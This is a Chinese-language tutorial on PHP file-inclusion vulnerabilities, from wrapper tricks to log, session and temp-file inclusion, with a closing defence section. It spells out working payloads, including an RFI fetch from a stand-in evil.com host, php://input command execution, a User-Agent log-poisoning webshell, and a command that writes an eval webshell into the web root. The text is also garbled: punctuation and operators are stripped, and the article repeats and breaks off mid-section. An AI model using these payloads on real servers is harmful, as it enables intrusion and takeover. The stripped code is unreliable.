1. 项目概述文件包含漏洞的本质与影响在Web渗透测试的实战中文件包含漏洞File Inclusion Vulnerability绝对是一个“宝藏”级别的存在。它不像SQL注入那样需要复杂的构造也不像XSS那样依赖用户交互很多时候它就像一个被开发者无意间留下的后门一旦被发现攻击者就能以此为跳板读取服务器上的敏感文件甚至直接执行任意代码拿到整个网站的控制权。简单来说文件包含漏洞的核心就是应用程序在动态引入外部文件时没有对用户输入的文件路径进行严格的过滤和校验导致攻击者可以操控这个路径让服务器去包含并执行一个本不该被包含的文件。这个漏洞主要分为两种类型本地文件包含LFI, Local File Inclusion和远程文件包含RFI, Remote File Inclusion。LFI允许攻击者包含并读取服务器本地的文件比如系统配置文件、日志、源代码等而RFI则更为危险它允许攻击者从远程服务器通常是攻击者自己控制的包含一个恶意脚本文件直接在目标服务器上执行。随着PHP等语言安全配置的收紧纯粹的RFI现在比较少见但LFI及其各种利用技巧依然是渗透测试中的高频考点和实战利器。无论你是刚入门安全的新手还是想巩固Web漏洞知识体系的从业者深入理解文件包含漏洞的原理、挖掘方法和利用技巧都是构建完整攻防视野的关键一环。接下来我将结合多年的一线渗透经验为你拆解这个漏洞从发现到利用的完整链条。2. 漏洞原理与核心成因深度解析2.1 动态包含机制与风险引入点要理解漏洞必须先理解其正常功能。在PHP、JSP等服务器端脚本语言中为了代码的复用和模块化开发提供了文件包含函数。比如在PHP中我们常用的有include()、require()、include_once()、require_once()。它们的本意是好的把一些公共的头部、尾部、配置或函数库单独写成文件在需要的时候引入避免重复编码。问题就出在“动态”引入上。开发者有时为了灵活性会用一个变量来承载要包含的文件名。例如一个简单的新闻站点可能通过URL参数来加载不同的页面模板?php $page $_GET[page]; // 用户可控输入 include(/templates/ . $page . .php); ?理想情况下用户访问?pagenews服务器就会包含/templates/news.php。但攻击者不会这么老实。如果开发者没有对$page进行任何过滤攻击者就可以传入../../../etc/passwd这样的路径。经过拼接服务器实际尝试包含的文件就变成了/templates/../../../etc/passwd这通过路径回溯Directory Traversal跳出了预设的模板目录直接指向了系统的敏感文件/etc/passwd。注意这里的关键在于包含函数如include在处理文件路径时并不仅限于包含PHP脚本。如果被包含的文件内容被直接输出例如通过php://filter读取或者文件内容被当作PHP代码执行在特定配置下就产生了风险。2.2 四种包含函数的细微差别与实战意义虽然都用于包含但这四个函数在错误处理和行为上略有不同这在漏洞利用时可能产生细微影响include()最常用。包含失败时如文件不存在会抛出一个E_WARNING级别的错误但脚本会继续执行。这在渗透测试中是个有用的信号通过错误信息有时能判断文件是否存在或过滤规则。require()与include()功能类似但包含失败时会抛出一个E_COMPILE_ERROR级别的致命错误脚本会立即停止执行。如果页面因为你的包含参数而突然白屏或500错误可能用的是require。include_once() / require_once()这两个函数与前者对应的区别在于它们会检查该文件是否已经被包含过如果是则不会再次包含。这在利用“临时文件包含”或“会话文件包含”等需要重复包含同一文件才能触发的漏洞时可能会造成阻碍需要特别注意。实操心得在模糊测试Fuzz寻找包含点时除了常见的page、file、load参数名也要留意像module、template、path这样的参数。观察服务器的响应差异是直接显示了目标文件内容是报错还是返回了空白页不同的响应是判断漏洞存在与否以及如何进一步利用的重要线索。2.3 配置开关allow_url_fopen 与 allow_url_include这是理解LFI与RFI分野的核心配置存在于php.ini中allow_url_fopen On允许PHP的文件处理函数如fopen()、file_get_contents()打开URL如http://、ftp://作为文件流。这是RFI的必要前提之一。allow_url_include On允许include、require等文件包含函数直接包含URL指向的远程文件。这是RFI的充分条件。在PHP 5.2.x 及以后版本中allow_url_include默认是Off的。这意味着在现代的默认PHP环境里纯粹的远程文件包含?filehttp://evil.com/shell.txt已经很难直接利用了。但这绝不意味着文件包含漏洞失去了价值恰恰相反攻击者和防御者的博弈转向了更精巧的本地文件包含利用技巧也就是围绕服务器上已有的文件做文章。3. 本地文件包含LFI高级利用技巧全解当远程包含被禁止攻击的焦点就转向了服务器本身。LFI的利用思路可以概括为想方设法让一个我们可控内容的文件出现在服务器上然后通过包含漏洞去包含它最终执行其中的代码。3.1 PHP伪协议LFI的“瑞士军刀”PHP提供了一系列伪协议Wrapper它们像协议一样工作用于访问不同的输入/输出流。在文件包含漏洞的利用中它们是最强大、最常用的工具。3.1.1 php://filter —— 读取源代码的利器这是最常用、限制最少的伪协议。它本身不执行代码而是用于读取文件的原始内容并可以进行编码转换。核心用途读取服务器上PHP文件的源代码。因为如果直接包含一个.php文件服务器会执行它而不是显示其代码。php://filter可以将其内容以base64等形式编码后输出我们解码即可获得源码。利用语法?filephp://filter/readconvert.base64-encode/resource目标文件路径例如?filephp://filter/readconvert.base64-encode/resourceindex.php实战解析php://filter是协议头。readconvert.base64-encode是一个过滤器链表示对资源进行base64编码读取。你也可以用convert.iconv.utf-8.utf-16等其他转换器有时用于绕过一些简单的过滤。resource后面跟的是你要读取的文件的相对或绝对路径。为什么用base64因为原始PHP源码中可能包含php 等特殊字符直接输出可能会被浏览器解释或产生乱码。Base64编码能确保内容完整、干净地传输。3.1.2 php://input —— 执行任意代码的通道这是一个更危险的伪协议它允许你访问请求的原始主体POST数据并将其作为PHP代码执行。利用条件allow_url_include必须为On。但在某些特定场景如包含点位于PHP 5.0之前的环境或某些特殊配置下可能有例外。利用方法将请求方式改为POST。在POST Body中直接写入要执行的PHP代码。在URL参数中指定?filephp://input。示例POST /vuln.php?filephp://input HTTP/1.1 ... ?php system(whoami); ?服务器接收到这个请求后include函数会去包含php://input这个“流”而这个流的内容就是POST过去的?php system(whoami); ?于是这段代码就会被执行。注意事项使用此方法时请求的Content-Type通常不需要是application/x-www-form-urlencoded直接发送原始PHP代码即可。Burp Suite的Repeater模块是测试此漏洞的绝佳工具。3.1.3 data:// —— 内联代码执行data协议可以将一段编码后的数据内联在URL中作为文件内容被包含。利用条件allow_url_fopen和allow_url_include都需要为On。利用语法直接写入?filedata://text/plain,?php phpinfo();?Base64编码写入可绕过某些特殊字符过滤?filedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8即?php phpinfo();?的base64编码与php://input的对比data://将代码直接放在URL参数里只需GET请求即可更为方便。但它的启用条件通常比php://input更严格。3.1.4 zip:// 与 phar:// —— 压缩包中的攻击这两个协议用于处理压缩文件可以实现“文件上传包含”的组合攻击。zip://条件PHP版本通常需支持。用法?filezip:///绝对路径/to/attack.zip%23shell.php关键点#在URL中需要编码为%23。路径必须是绝对路径。它只解压读取指定压缩包内的单个文件。phar://条件PHP 5.3.0。用法?filephar:///绝对路径/to/attack.phar/shell.php优势phar://更强大它不仅支持zip格式还支持PHARPHP Archive本身。更重要的是它不要求压缩文件后缀必须是.zip或.phar。你可以将一个包含恶意PHP代码的压缩包重命名为attack.jpg然后上传再利用phar://去包含它?filephar://./uploads/attack.jpg/shell.php。这在绕过基于后缀名的文件上传检查时非常有效。3.1.5 file:// 与 glob://file://用于访问本地文件系统是默认协议。?filefile:///etc/passwd与?file/etc/passwd在大多数情况下效果相同。glob://用于查找匹配指定模式的文件路径。在文件包含中单独使用较少但可以用于目录遍历和文件枚举例如尝试列出临时目录文件?fileglob:///tmp/*注意需要能输出结果的环境。3.2 日志文件包含将访问痕迹变为攻击武器Web服务器如Apache, Nginx和系统服务如SSH都会记录日志。如果我们能向日志中注入PHP代码再通过LFI包含这个日志文件代码就会被执行。3.2.1 利用流程定位日志路径这是第一步也是最关键的一步。可以通过漏洞读取配置文件、利用已知默认路径、或通过报错信息推测。Apache (Linux):/var/log/apache2/access.log,/var/log/apache2/error.logNginx (Linux):/var/log/nginx/access.log,/var/log/nginx/error.logSSH (Linux):/var/log/auth.log,/var/log/secure注入代码将PHP代码作为HTTP请求的一部分发送使其被记录到访问日志中。最简单的方式在User-Agent或Referer等请求头中插入?php system($_GET[cmd]);?。使用工具如Burp Suite抓取对目标网站的任何请求修改User-Agent为恶意代码然后发送。包含日志文件利用文件包含漏洞去包含这个日志文件。例如?file/var/log/nginx/access.log。执行命令如果包含成功注入的代码就会被执行。此时可以通过参数传递命令例如?file/var/log/nginx/access.logcmdwhoami。3.2.2 实操难点与技巧日志文件过大访问日志可能非常庞大包含时可能导致超时或内存不足。可以尝试包含错误日志error.log它通常较小或者先通过其他方式如文件读取确认日志文件的可读性和内容。代码被转义或破坏日志记录可能会对特殊字符进行转义如将转义为lt;。需要观察日志的实际记录格式。有时使用?短标签比?php更有效。也可以尝试将代码放在请求路径中如访问http://target.com/?php phpinfo();?.php但要注意路径的合法性。权限问题确保Web进程用户如www-data, nginx有读取日志文件的权限。3.3 会话文件包含利用用户会话的存储文件PHP默认会将会话Session数据以文件形式存储在服务器上如/tmp/sess_[session_id]或/var/lib/php/sessions/sess_[session_id]。如果会话内容用户部分可控且我们知道会话文件的路径就可以利用LFI包含它。3.3.1 利用场景假设一个网站有这样一段代码session_start(); $_SESSION[username] $_GET[user_input]; // 用户输入直接存入SESSION攻击者可以传入user_input?php phpinfo();?。这段代码就会被写入到当前会话对应的 sess_* 文件中。3.3.2 利用步骤获取Session ID通过浏览器的Cookie获取PHPSESSID的值。构造会话文件路径根据系统配置拼接路径。例如路径可能是/tmp/sess_[PHPSESSID]或/var/lib/php/sessions/sess_[PHPSESSID]。注入代码访问存在上述漏洞的页面传入包含PHP代码的参数。包含会话文件利用LFI漏洞包含这个具体的会话文件路径。3.3.3 关键点难点在于需要知道会话文件的绝对路径。这可以通过phpinfo()页面泄露的session.save_path配置项获得。会话文件通常有严格的权限但Web进程本身需要有读写权限所以包含通常是可行的。这是一种“存储型”的LFI利用一次注入在会话过期前可以多次包含执行。3.4 临时文件包含一场与时间的赛跑这是LFI利用中技术含量较高的一种通常与文件上传功能结合利用的是PHP处理文件上传时产生的临时文件。3.4.1 漏洞原理当PHP接收到一个带有文件上传字段的POST请求时无论服务器端的脚本是否处理了这个上传PHP都会先将上传的文件保存到一个临时目录如Linux的/tmpWindows的C:\Windows\Temp并生成一个随机名称的临时文件如/tmp/phpL4dTvQ。这个临时文件在脚本执行结束后会被自动删除。3.4.2 利用条件与思路利用这个漏洞需要满足两个苛刻但有时能达成的条件有一个文件包含漏洞点。有一个能泄露临时文件名的途径例如一个同时存在的phpinfo()页面它会打印$_FILES数组其中包含tmp_name。3.4.3 利用过程竞争条件攻击这是一个典型的“竞争条件”Race Condition攻击编写一个Python脚本同时做两件事 a.线程A不断向phpinfo.php页面发送包含恶意PHP代码的文件上传请求从返回的phpinfo信息中解析出临时文件名。 b.线程B利用解析到的临时文件名立即向存在LFI漏洞的页面发起包含请求?file/tmp/解析到的临时文件名。目标是在临时文件被删除前通常是毫秒级成功包含并执行其中的代码。如果成功我们就能在服务器上写入一个永久的Webshell。3.4.4 实战技巧提高成功率使用多线程/多进程并发疯狂发送上传请求和包含请求。路径预测在Linux下PHP 5.3.11之前版本的临时文件名随机算法存在缺陷可以预测。在Windows下临时文件名只有6位随机字符爆破空间为62^6在并发条件下是可行的。工具辅助著名的安全工具phpinfo()LFI 利用工具如一些公开的Python脚本就是自动化了这个过程。4. 文件包含漏洞的挖掘与实战流程知道了怎么利用更关键的是如何在真实环境中发现它。下面是一个系统的挖掘流程。4.1 目标识别与参数枚举手动浏览与观察访问网站各个功能点特别是那些看起来像是加载不同模块的页面如index.php?pageabout,news.php?article1。使用爬虫工具使用Burp Suite的Spider或OWASP ZAP、gobuster、dirsearch等工具爬取网站的所有链接和参数收集潜在的包含点。参数分析重点关注以下类型的参数名filepageloadpathtemplatemoduledocument任何看起来像是引用外部文件的参数。4.2 初步测试与漏洞确认收集到可疑参数后进行初步测试基础路径遍历测试?file../../../../etc/passwd ?file....//....//....//etc/passwd (双重编码或特殊绕过) ?file/etc/passwd ?filefile:///etc/passwd观察响应是否直接返回了/etc/passwd的内容是否报错提示文件不存在报错信息是否暴露了绝对路径PHP伪协议测试?filephp://filter/readconvert.base64-encode/resourceindex.php ?filephp://input (配合POST请求) ?filedata://text/plain,?php echo test;?如果php://filter返回了一串base64编码解码后是网站源码那么漏洞几乎可以确认。通用文件测试尝试包含一些在所有Linux/Windows系统上很可能存在的文件来确认漏洞和操作系统。Linux:/etc/passwd,/etc/hosts,/proc/self/environ(有时包含环境变量可利用)/var/log/auth.logWindows:C:\Windows\System32\drivers\etc\hosts,C:\Windows\win.ini4.3 上下文分析与绕过技巧如果直接测试被拦截返回空白、错误或重定向说明可能存在过滤。这时就需要分析过滤机制并尝试绕过。4.3.1 常见过滤与绕过方法过滤方式示例可能的绕过方法后缀拼接代码自动添加.phpinclude($file . .php)使用%00空字节截断PHP5.3.4。或利用?file../../etc/passwd%00(需开启magic_quotes_gpcoff)前缀限制代码固定前缀include(/pages/ . $file)使用足够的../跳出目录?file../../../etc/passwd关键字过滤过滤../,etc,passwd等字符串双写绕过..././或....//URL编码..%2f(/的编码) 或%2e%2e%2f(../的编码)超长路径/aaa/../../etc/passwd协议黑名单过滤php://,http://使用不常见的协议compress.zlib://,expect://需扩展大小写混淆PHP://利用file://协议。白名单限制只允许包含home.php,about.php等如果校验不严可尝试目录穿越白名单文件?file../../../etc/passwd%00home.php假设白名单校验通过home.php但实际包含被空字节截断。或利用日志包含等二次利用技巧。4.3.2 利用编码与转换Base64编码如果网站对包含的文件内容进行了某种解码或检查可以尝试将恶意路径进行base64编码看是否会被自动解码。UTF-7/UTF-16编码极少数情况下配合php://filter的convert.iconv.*过滤器可能绕过基于字符的过滤。4.4 漏洞利用与权限提升确认漏洞并找到绕过方法后就要追求更高的利用目标从文件读取到代码执行。信息收集利用php://filter读取网站配置文件如config.php,database.php、phpinfo.php如果存在获取服务器绝对路径、数据库密码、其他敏感信息。寻找写入点结合其他漏洞或功能。例如文件上传哪怕只能上传图片也可尝试制作图片马配合phar://或zip://协议包含执行。日志注入如前所述向Web日志或SSH日志写入PHP代码。Session注入寻找将用户输入存入$_SESSION的功能点。框架缓存文件某些PHP框架如ThinkPHP会在特定目录下生成缓存文件如果内容部分可控也可能被包含。获取Webshell通过php://input或data://直接执行命令写入Webshell文件。通过日志包含执行命令将Webshell代码写入网站目录。例如cmdecho ?php eval($_POST[a]);? /var/www/html/shell.php。权限提升与横向移动获得Webshell后查看当前用户权限尝试利用系统本地提权漏洞如脏牛Dirty Cow、sudo配置错误等提升至root并进一步渗透内网。5. 防御策略与安全开发建议理解了攻击才能更好地防御。作为开发者应从根源上杜绝文件包含漏洞。5.1 输入验证与白名单机制最有效的方法是采用白名单机制。严格定义允许包含的文件集合。// 危险的做法黑名单或直接使用 $page $_GET[page]; include($page . .php); // 安全的做法白名单 $allowed_pages [home, news, about, contact]; $page $_GET[page]; if (in_array($page, $allowed_pages)) { include($page . .php); } else { include(error.php); // 或 die(Invalid page requested.); }如果业务上必须动态包含也应进行严格的路径校验使用basename()函数去除路径中的目录部分只保留文件名。使用realpath()函数获取文件的绝对路径并与一个允许的基准目录进行比较确保文件没有超出该目录。$base_dir /var/www/html/includes/; $file $_GET[file]; $real_path realpath($base_dir . $file); // 检查 $real_path 是否以 $base_dir 开头 if ($real_path strpos($real_path, $base_dir) 0) { include($real_path); } else { die(Access denied.); }5.2 安全配置与环境加固PHP配置在php.ini中确保allow_url_fopen Off和allow_url_include Off。这是关闭远程文件包含的最直接方法。设置open_basedir指令将PHP可操作的文件限制在网站根目录及其子目录下防止跨目录访问。关闭register_globals已废弃现代PHP默认关闭。将display_errors设置为Off防止错误信息泄露路径等敏感信息。Web服务器配置为Web服务进程如www-data, nginx设置严格的文件系统权限遵循最小权限原则。将日志文件、配置文件等敏感文件存放在Web根目录之外并限制Web进程的读取权限。代码层面尽量使用静态包含。如果必须动态包含避免使用用户输入直接作为包含路径。使用require_once或include_once可以减少因重复包含带来的意外行为但对于防御LFI本身作用有限。对用户输入进行严格的过滤和转义不仅仅是针对文件包含对所有输入都应如此。5.3 安全测试与代码审计自动化扫描在开发流程中集成SAST静态应用安全测试工具如SonarQube、Fortify等自动检测代码中的文件包含风险点。人工代码审计重点关注include,require,include_once,require_once这四个函数回溯其参数是否用户可控是否经过充分校验。渗透测试定期对线上系统进行黑盒/白盒渗透测试模拟攻击者尝试利用文件包含及其他漏洞。文件包含漏洞的攻防是一场关于“控制”的博弈。攻击者想尽办法控制包含的文件路径而防御者的核心任务就是夺回这种控制权通过白名单、路径校验和安全配置将文件包含的操作牢牢限制在预期的安全边界之内。对于渗透测试者而言掌握这些技巧不仅是发现漏洞的钥匙更是理解安全设计缺陷的一面镜子。在实际操作中耐心、细致的测试和对服务器环境的持续推断往往是成功利用一个复杂LFI漏洞的关键。
文件包含漏洞深度解析:从PHP伪协议到日志注入的攻防实战
发布时间:2026/7/5 23:32:37
1. 项目概述文件包含漏洞的本质与影响在Web渗透测试的实战中文件包含漏洞File Inclusion Vulnerability绝对是一个“宝藏”级别的存在。它不像SQL注入那样需要复杂的构造也不像XSS那样依赖用户交互很多时候它就像一个被开发者无意间留下的后门一旦被发现攻击者就能以此为跳板读取服务器上的敏感文件甚至直接执行任意代码拿到整个网站的控制权。简单来说文件包含漏洞的核心就是应用程序在动态引入外部文件时没有对用户输入的文件路径进行严格的过滤和校验导致攻击者可以操控这个路径让服务器去包含并执行一个本不该被包含的文件。这个漏洞主要分为两种类型本地文件包含LFI, Local File Inclusion和远程文件包含RFI, Remote File Inclusion。LFI允许攻击者包含并读取服务器本地的文件比如系统配置文件、日志、源代码等而RFI则更为危险它允许攻击者从远程服务器通常是攻击者自己控制的包含一个恶意脚本文件直接在目标服务器上执行。随着PHP等语言安全配置的收紧纯粹的RFI现在比较少见但LFI及其各种利用技巧依然是渗透测试中的高频考点和实战利器。无论你是刚入门安全的新手还是想巩固Web漏洞知识体系的从业者深入理解文件包含漏洞的原理、挖掘方法和利用技巧都是构建完整攻防视野的关键一环。接下来我将结合多年的一线渗透经验为你拆解这个漏洞从发现到利用的完整链条。2. 漏洞原理与核心成因深度解析2.1 动态包含机制与风险引入点要理解漏洞必须先理解其正常功能。在PHP、JSP等服务器端脚本语言中为了代码的复用和模块化开发提供了文件包含函数。比如在PHP中我们常用的有include()、require()、include_once()、require_once()。它们的本意是好的把一些公共的头部、尾部、配置或函数库单独写成文件在需要的时候引入避免重复编码。问题就出在“动态”引入上。开发者有时为了灵活性会用一个变量来承载要包含的文件名。例如一个简单的新闻站点可能通过URL参数来加载不同的页面模板?php $page $_GET[page]; // 用户可控输入 include(/templates/ . $page . .php); ?理想情况下用户访问?pagenews服务器就会包含/templates/news.php。但攻击者不会这么老实。如果开发者没有对$page进行任何过滤攻击者就可以传入../../../etc/passwd这样的路径。经过拼接服务器实际尝试包含的文件就变成了/templates/../../../etc/passwd这通过路径回溯Directory Traversal跳出了预设的模板目录直接指向了系统的敏感文件/etc/passwd。注意这里的关键在于包含函数如include在处理文件路径时并不仅限于包含PHP脚本。如果被包含的文件内容被直接输出例如通过php://filter读取或者文件内容被当作PHP代码执行在特定配置下就产生了风险。2.2 四种包含函数的细微差别与实战意义虽然都用于包含但这四个函数在错误处理和行为上略有不同这在漏洞利用时可能产生细微影响include()最常用。包含失败时如文件不存在会抛出一个E_WARNING级别的错误但脚本会继续执行。这在渗透测试中是个有用的信号通过错误信息有时能判断文件是否存在或过滤规则。require()与include()功能类似但包含失败时会抛出一个E_COMPILE_ERROR级别的致命错误脚本会立即停止执行。如果页面因为你的包含参数而突然白屏或500错误可能用的是require。include_once() / require_once()这两个函数与前者对应的区别在于它们会检查该文件是否已经被包含过如果是则不会再次包含。这在利用“临时文件包含”或“会话文件包含”等需要重复包含同一文件才能触发的漏洞时可能会造成阻碍需要特别注意。实操心得在模糊测试Fuzz寻找包含点时除了常见的page、file、load参数名也要留意像module、template、path这样的参数。观察服务器的响应差异是直接显示了目标文件内容是报错还是返回了空白页不同的响应是判断漏洞存在与否以及如何进一步利用的重要线索。2.3 配置开关allow_url_fopen 与 allow_url_include这是理解LFI与RFI分野的核心配置存在于php.ini中allow_url_fopen On允许PHP的文件处理函数如fopen()、file_get_contents()打开URL如http://、ftp://作为文件流。这是RFI的必要前提之一。allow_url_include On允许include、require等文件包含函数直接包含URL指向的远程文件。这是RFI的充分条件。在PHP 5.2.x 及以后版本中allow_url_include默认是Off的。这意味着在现代的默认PHP环境里纯粹的远程文件包含?filehttp://evil.com/shell.txt已经很难直接利用了。但这绝不意味着文件包含漏洞失去了价值恰恰相反攻击者和防御者的博弈转向了更精巧的本地文件包含利用技巧也就是围绕服务器上已有的文件做文章。3. 本地文件包含LFI高级利用技巧全解当远程包含被禁止攻击的焦点就转向了服务器本身。LFI的利用思路可以概括为想方设法让一个我们可控内容的文件出现在服务器上然后通过包含漏洞去包含它最终执行其中的代码。3.1 PHP伪协议LFI的“瑞士军刀”PHP提供了一系列伪协议Wrapper它们像协议一样工作用于访问不同的输入/输出流。在文件包含漏洞的利用中它们是最强大、最常用的工具。3.1.1 php://filter —— 读取源代码的利器这是最常用、限制最少的伪协议。它本身不执行代码而是用于读取文件的原始内容并可以进行编码转换。核心用途读取服务器上PHP文件的源代码。因为如果直接包含一个.php文件服务器会执行它而不是显示其代码。php://filter可以将其内容以base64等形式编码后输出我们解码即可获得源码。利用语法?filephp://filter/readconvert.base64-encode/resource目标文件路径例如?filephp://filter/readconvert.base64-encode/resourceindex.php实战解析php://filter是协议头。readconvert.base64-encode是一个过滤器链表示对资源进行base64编码读取。你也可以用convert.iconv.utf-8.utf-16等其他转换器有时用于绕过一些简单的过滤。resource后面跟的是你要读取的文件的相对或绝对路径。为什么用base64因为原始PHP源码中可能包含php 等特殊字符直接输出可能会被浏览器解释或产生乱码。Base64编码能确保内容完整、干净地传输。3.1.2 php://input —— 执行任意代码的通道这是一个更危险的伪协议它允许你访问请求的原始主体POST数据并将其作为PHP代码执行。利用条件allow_url_include必须为On。但在某些特定场景如包含点位于PHP 5.0之前的环境或某些特殊配置下可能有例外。利用方法将请求方式改为POST。在POST Body中直接写入要执行的PHP代码。在URL参数中指定?filephp://input。示例POST /vuln.php?filephp://input HTTP/1.1 ... ?php system(whoami); ?服务器接收到这个请求后include函数会去包含php://input这个“流”而这个流的内容就是POST过去的?php system(whoami); ?于是这段代码就会被执行。注意事项使用此方法时请求的Content-Type通常不需要是application/x-www-form-urlencoded直接发送原始PHP代码即可。Burp Suite的Repeater模块是测试此漏洞的绝佳工具。3.1.3 data:// —— 内联代码执行data协议可以将一段编码后的数据内联在URL中作为文件内容被包含。利用条件allow_url_fopen和allow_url_include都需要为On。利用语法直接写入?filedata://text/plain,?php phpinfo();?Base64编码写入可绕过某些特殊字符过滤?filedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8即?php phpinfo();?的base64编码与php://input的对比data://将代码直接放在URL参数里只需GET请求即可更为方便。但它的启用条件通常比php://input更严格。3.1.4 zip:// 与 phar:// —— 压缩包中的攻击这两个协议用于处理压缩文件可以实现“文件上传包含”的组合攻击。zip://条件PHP版本通常需支持。用法?filezip:///绝对路径/to/attack.zip%23shell.php关键点#在URL中需要编码为%23。路径必须是绝对路径。它只解压读取指定压缩包内的单个文件。phar://条件PHP 5.3.0。用法?filephar:///绝对路径/to/attack.phar/shell.php优势phar://更强大它不仅支持zip格式还支持PHARPHP Archive本身。更重要的是它不要求压缩文件后缀必须是.zip或.phar。你可以将一个包含恶意PHP代码的压缩包重命名为attack.jpg然后上传再利用phar://去包含它?filephar://./uploads/attack.jpg/shell.php。这在绕过基于后缀名的文件上传检查时非常有效。3.1.5 file:// 与 glob://file://用于访问本地文件系统是默认协议。?filefile:///etc/passwd与?file/etc/passwd在大多数情况下效果相同。glob://用于查找匹配指定模式的文件路径。在文件包含中单独使用较少但可以用于目录遍历和文件枚举例如尝试列出临时目录文件?fileglob:///tmp/*注意需要能输出结果的环境。3.2 日志文件包含将访问痕迹变为攻击武器Web服务器如Apache, Nginx和系统服务如SSH都会记录日志。如果我们能向日志中注入PHP代码再通过LFI包含这个日志文件代码就会被执行。3.2.1 利用流程定位日志路径这是第一步也是最关键的一步。可以通过漏洞读取配置文件、利用已知默认路径、或通过报错信息推测。Apache (Linux):/var/log/apache2/access.log,/var/log/apache2/error.logNginx (Linux):/var/log/nginx/access.log,/var/log/nginx/error.logSSH (Linux):/var/log/auth.log,/var/log/secure注入代码将PHP代码作为HTTP请求的一部分发送使其被记录到访问日志中。最简单的方式在User-Agent或Referer等请求头中插入?php system($_GET[cmd]);?。使用工具如Burp Suite抓取对目标网站的任何请求修改User-Agent为恶意代码然后发送。包含日志文件利用文件包含漏洞去包含这个日志文件。例如?file/var/log/nginx/access.log。执行命令如果包含成功注入的代码就会被执行。此时可以通过参数传递命令例如?file/var/log/nginx/access.logcmdwhoami。3.2.2 实操难点与技巧日志文件过大访问日志可能非常庞大包含时可能导致超时或内存不足。可以尝试包含错误日志error.log它通常较小或者先通过其他方式如文件读取确认日志文件的可读性和内容。代码被转义或破坏日志记录可能会对特殊字符进行转义如将转义为lt;。需要观察日志的实际记录格式。有时使用?短标签比?php更有效。也可以尝试将代码放在请求路径中如访问http://target.com/?php phpinfo();?.php但要注意路径的合法性。权限问题确保Web进程用户如www-data, nginx有读取日志文件的权限。3.3 会话文件包含利用用户会话的存储文件PHP默认会将会话Session数据以文件形式存储在服务器上如/tmp/sess_[session_id]或/var/lib/php/sessions/sess_[session_id]。如果会话内容用户部分可控且我们知道会话文件的路径就可以利用LFI包含它。3.3.1 利用场景假设一个网站有这样一段代码session_start(); $_SESSION[username] $_GET[user_input]; // 用户输入直接存入SESSION攻击者可以传入user_input?php phpinfo();?。这段代码就会被写入到当前会话对应的 sess_* 文件中。3.3.2 利用步骤获取Session ID通过浏览器的Cookie获取PHPSESSID的值。构造会话文件路径根据系统配置拼接路径。例如路径可能是/tmp/sess_[PHPSESSID]或/var/lib/php/sessions/sess_[PHPSESSID]。注入代码访问存在上述漏洞的页面传入包含PHP代码的参数。包含会话文件利用LFI漏洞包含这个具体的会话文件路径。3.3.3 关键点难点在于需要知道会话文件的绝对路径。这可以通过phpinfo()页面泄露的session.save_path配置项获得。会话文件通常有严格的权限但Web进程本身需要有读写权限所以包含通常是可行的。这是一种“存储型”的LFI利用一次注入在会话过期前可以多次包含执行。3.4 临时文件包含一场与时间的赛跑这是LFI利用中技术含量较高的一种通常与文件上传功能结合利用的是PHP处理文件上传时产生的临时文件。3.4.1 漏洞原理当PHP接收到一个带有文件上传字段的POST请求时无论服务器端的脚本是否处理了这个上传PHP都会先将上传的文件保存到一个临时目录如Linux的/tmpWindows的C:\Windows\Temp并生成一个随机名称的临时文件如/tmp/phpL4dTvQ。这个临时文件在脚本执行结束后会被自动删除。3.4.2 利用条件与思路利用这个漏洞需要满足两个苛刻但有时能达成的条件有一个文件包含漏洞点。有一个能泄露临时文件名的途径例如一个同时存在的phpinfo()页面它会打印$_FILES数组其中包含tmp_name。3.4.3 利用过程竞争条件攻击这是一个典型的“竞争条件”Race Condition攻击编写一个Python脚本同时做两件事 a.线程A不断向phpinfo.php页面发送包含恶意PHP代码的文件上传请求从返回的phpinfo信息中解析出临时文件名。 b.线程B利用解析到的临时文件名立即向存在LFI漏洞的页面发起包含请求?file/tmp/解析到的临时文件名。目标是在临时文件被删除前通常是毫秒级成功包含并执行其中的代码。如果成功我们就能在服务器上写入一个永久的Webshell。3.4.4 实战技巧提高成功率使用多线程/多进程并发疯狂发送上传请求和包含请求。路径预测在Linux下PHP 5.3.11之前版本的临时文件名随机算法存在缺陷可以预测。在Windows下临时文件名只有6位随机字符爆破空间为62^6在并发条件下是可行的。工具辅助著名的安全工具phpinfo()LFI 利用工具如一些公开的Python脚本就是自动化了这个过程。4. 文件包含漏洞的挖掘与实战流程知道了怎么利用更关键的是如何在真实环境中发现它。下面是一个系统的挖掘流程。4.1 目标识别与参数枚举手动浏览与观察访问网站各个功能点特别是那些看起来像是加载不同模块的页面如index.php?pageabout,news.php?article1。使用爬虫工具使用Burp Suite的Spider或OWASP ZAP、gobuster、dirsearch等工具爬取网站的所有链接和参数收集潜在的包含点。参数分析重点关注以下类型的参数名filepageloadpathtemplatemoduledocument任何看起来像是引用外部文件的参数。4.2 初步测试与漏洞确认收集到可疑参数后进行初步测试基础路径遍历测试?file../../../../etc/passwd ?file....//....//....//etc/passwd (双重编码或特殊绕过) ?file/etc/passwd ?filefile:///etc/passwd观察响应是否直接返回了/etc/passwd的内容是否报错提示文件不存在报错信息是否暴露了绝对路径PHP伪协议测试?filephp://filter/readconvert.base64-encode/resourceindex.php ?filephp://input (配合POST请求) ?filedata://text/plain,?php echo test;?如果php://filter返回了一串base64编码解码后是网站源码那么漏洞几乎可以确认。通用文件测试尝试包含一些在所有Linux/Windows系统上很可能存在的文件来确认漏洞和操作系统。Linux:/etc/passwd,/etc/hosts,/proc/self/environ(有时包含环境变量可利用)/var/log/auth.logWindows:C:\Windows\System32\drivers\etc\hosts,C:\Windows\win.ini4.3 上下文分析与绕过技巧如果直接测试被拦截返回空白、错误或重定向说明可能存在过滤。这时就需要分析过滤机制并尝试绕过。4.3.1 常见过滤与绕过方法过滤方式示例可能的绕过方法后缀拼接代码自动添加.phpinclude($file . .php)使用%00空字节截断PHP5.3.4。或利用?file../../etc/passwd%00(需开启magic_quotes_gpcoff)前缀限制代码固定前缀include(/pages/ . $file)使用足够的../跳出目录?file../../../etc/passwd关键字过滤过滤../,etc,passwd等字符串双写绕过..././或....//URL编码..%2f(/的编码) 或%2e%2e%2f(../的编码)超长路径/aaa/../../etc/passwd协议黑名单过滤php://,http://使用不常见的协议compress.zlib://,expect://需扩展大小写混淆PHP://利用file://协议。白名单限制只允许包含home.php,about.php等如果校验不严可尝试目录穿越白名单文件?file../../../etc/passwd%00home.php假设白名单校验通过home.php但实际包含被空字节截断。或利用日志包含等二次利用技巧。4.3.2 